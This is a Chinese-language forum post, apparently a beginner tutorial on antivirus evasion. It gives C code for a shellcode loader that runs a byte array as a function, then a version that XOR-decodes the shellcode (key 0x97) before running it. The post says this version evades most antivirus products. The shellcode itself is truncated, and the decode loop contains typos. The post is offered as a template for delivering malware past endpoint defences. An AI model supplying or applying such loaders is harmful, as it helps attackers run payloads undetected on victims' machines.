新手上路

- 資源幣
- 15
- 積分
- 20
- 貢獻
- 0
- 在線時間
- 2 小時
- 注冊時間
- 2020-2-21
- 最后登錄
- 2020-5-3
|
零基礎(chǔ)入門學免殺(一)
目前有很多利用shellcode自動免殺的工具,但是這些工具的指紋有相似的
如果有人傳到網(wǎng)上掃描被殺或者工具過時怎么辦?
這時你就需要自己制作免殺了
最簡單的就是shellcode加密直接生成可執(zhí)行文件
直接生成shellcode、
有時候shellcode是直接可以免殺的 但是有的時候是會被殺的
1.png (78.11 KB, 下載次數(shù): 93)
下載附件
保存到相冊
2020-2-21 20:21 上傳
一:無加密直接自己生成可執(zhí)行文件
分配一些內(nèi)存,拷貝字符數(shù)組到分配的內(nèi)存中,最后執(zhí)行它
#include"stdafx.h"
/* length: 798 bytes*/
unsigned charshellcode[] = “\xfc\xe8\x89\x00\......”//這里寫shellcode
int main(intargc, char* argv[])
{
((void(*)(void))&shellcode)();
return 0;
}
2.png (39.76 KB, 下載次數(shù): 84)
下載附件
保存到相冊
2020-2-21 20:23 上傳
直接生成有時候能過一部分殺毒
二:加密shellcode生成可執(zhí)行文件
加密的方式有很多,可以加密一次也可以多次加密,我用異或加密演示給大家看
首先把自己的shellcode進行異或加密一次,然后把加密的代碼解密執(zhí)行。
我這里把shellcode和0x97異或加密過后解密執(zhí)行
#include "stdafx.h"
#include <windows.h>
#define KEY 0x97 //進行異或的字符
/* length: 798 bytes */
unsigned char buf[] =
"\x6b\x7f\x1e\x97\x97\” 這里輸入你自己加密過后的shellcode
int main(int argc, char* argv[])
{
unsigned char c[sizeof(buf)]; //獲取shellcode長度
for (int i = 0; i < sizeof(buf)-1; i++)
{
c = buf ^ KEY;//進行解密
}
( (void(*)(void))&c)(); 執(zhí)行shellcode
return 0;
}
3.png (77.09 KB, 下載次數(shù): 89)
下載附件
保存到相冊
2020-2-21 20:23 上傳
這個方法目前可以過掉大部分殺毒
4.png (195.02 KB, 下載次數(shù): 91)
下載附件
保存到相冊
2020-2-21 20:24 上傳
5.png (154.02 KB, 下載次數(shù): 88)
下載附件
保存到相冊
2020-2-21 20:24 上傳
|
|